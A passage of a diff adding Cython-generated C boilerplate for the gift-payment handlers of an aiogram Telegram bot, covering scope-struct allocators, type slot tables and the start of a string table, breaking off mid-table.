/*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_expiry_time); + Py_CLEAR(p->__pyx_v_gift_id); + Py_CLEAR(p->__pyx_v_gift_link); + Py_CLEAR(p->__pyx_v_price); + Py_CLEAR(p->__pyx_v_selected_months); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_expiry_time) { + e = (*v)(p->__pyx_v_expiry_time, a); if (e) return e; + } + if (p->__pyx_v_gift_link) { + e = (*v)(p->__pyx_v_gift_link, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + if (p->__pyx_v_selected_months) { + e = (*v)(p->__pyx_v_selected_months, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_4_finalize_gift_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_4_finalize_gift_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_hardware_id); + Py_CLEAR(p->__pyx_v_payload); + Py_CLEAR(p->__pyx_v_response); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + Py_CLEAR(p->__pyx_t_6); + Py_CLEAR(p->__pyx_t_7); + Py_CLEAR(p->__pyx_t_8); + Py_CLEAR(p->__pyx_t_9); + Py_CLEAR(p->__pyx_t_10); + Py_CLEAR(p->__pyx_t_11); + Py_CLEAR(p->__pyx_t_12); + Py_CLEAR(p->__pyx_t_13); + Py_CLEAR(p->__pyx_t_14); + Py_CLEAR(p->__pyx_t_15); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o; + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_hardware_id) { + e = (*v)(p->__pyx_v_hardware_id, a); if (e) return e; + } + if (p->__pyx_v_payload) { + e = (*v)(p->__pyx_v_payload, a); if (e) return e; + } + if (p->__pyx_v_response) { + e = (*v)(p->__pyx_v_response, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + if (p->__pyx_t_6) { + e = (*v)(p->__pyx_t_6, a); if (e) return e; + } + if (p->__pyx_t_7) { + e = (*v)(p->__pyx_t_7, a); if (e) return e; + } + if (p->__pyx_t_8) { + e = (*v)(p->__pyx_t_8, a); if (e) return e; + } + if (p->__pyx_t_9) { + e = (*v)(p->__pyx_t_9, a); if (e) return e; + } + if (p->__pyx_t_10) { + e = (*v)(p->__pyx_t_10, a); if (e) return e; + } + if (p->__pyx_t_11) { + e = (*v)(p->__pyx_t_11, a); if (e) return e; + } + if (p->__pyx_t_12) { + e = (*v)(p->__pyx_t_12, a); if (e) return e; + } + if (p->__pyx_t_13) { + e = (*v)(p->__pyx_t_13, a); if (e) return e; + } + if (p->__pyx_t_14) { + e = (*v)(p->__pyx_t_14, a); if (e) return e; + } + if (p->__pyx_t_15) { + e = (*v)(p->__pyx_t_15, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec = { + "handlers.payments.gift.__pyx_scope_struct_5_validate_client_code", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_5_validate_client_code", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 1, 0, 0}, + {&__pyx_kp_u_21U68SOLOBOT, __pyx_k_21U68SOLOBOT, sizeof(__pyx_k_21U68SOLOBOT), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_CLIENT_CODE, __pyx_k_CLIENT_CODE, sizeof(__pyx_k_CLIENT_CODE), 0, 0, 1, 1}, + {&__pyx_n_u_CRYPTOSALE, __pyx_k_CRYPTOSALE, sizeof(__pyx_k_CRYPTOSALE), 0, 1, 0, 1}, + {&__pyx_n_s_ClientSession, __pyx_k_ClientSession, sizeof(__pyx_k_ClientSession), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_kp_u_None, __pyx_k_None, sizeof(__pyx_k_None), 0, 1, 0, 0}, + {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, + {&__pyx_n_s_RENEWAL_PRICES, __pyx_k_RENEWAL_PRICES, sizeof(__pyx_k_RENEWAL_PRICES), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_kp_u_SELECT_gift_id_selected_months_i, __pyx_k_SELECT_gift_id_selected_months_i, sizeof(__pyx_k_SELECT_gift_id_selected_months_i), 0, 1, 0, 0}, + {&__pyx_n_s_STARS_ROUTER, __pyx_k_STARS_ROUTER, sizeof(__pyx_k_STARS_ROUTER), 0, 0, 1, 1}, + {&__pyx_n_u_Windows, __pyx_k_Windows, sizeof(__pyx_k_Windows), 0, 1, 0, 1}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + {&__pyx_n_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 1}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_n_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 1}, + {&__pyx_n_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 1}, + {&__pyx_n_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 1}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, + {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, + {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, + {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, + {&__pyx_kp_u__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__40, __pyx_k__40, sizeof(__pyx_k__40), 0, 1, 0, 0}, + {&__pyx_kp_u__42, __pyx_k__42, sizeof(__pyx_k__42), 0, 1, 0, 0}, + {&__pyx_kp_u__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 1, 0, 0}, + {&__pyx_kp_u__44, __pyx_k__44, sizeof(__pyx_k__44), 0, 1, 0, 0}, + {&__pyx_n_s__46, __pyx_k__46, sizeof(__pyx_k__46), 0, 0, 1, 1}, + {&__pyx_kp_u__47, __pyx_k__47, sizeof(__pyx_k__47), 0, 1, 0, 0}, + {&__pyx_n_s__58, __pyx_k__58, sizeof(__pyx_k__58), 0, 0, 1, 1}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_n_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 1}, + {&__pyx_n_s_aenter, __pyx_k_aenter, sizeof(__pyx_k_aenter), 0, 0, 1, 1}, + {&__pyx_n_s_aexit, __pyx_k_aexit, sizeof(__pyx_k_aexit), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + 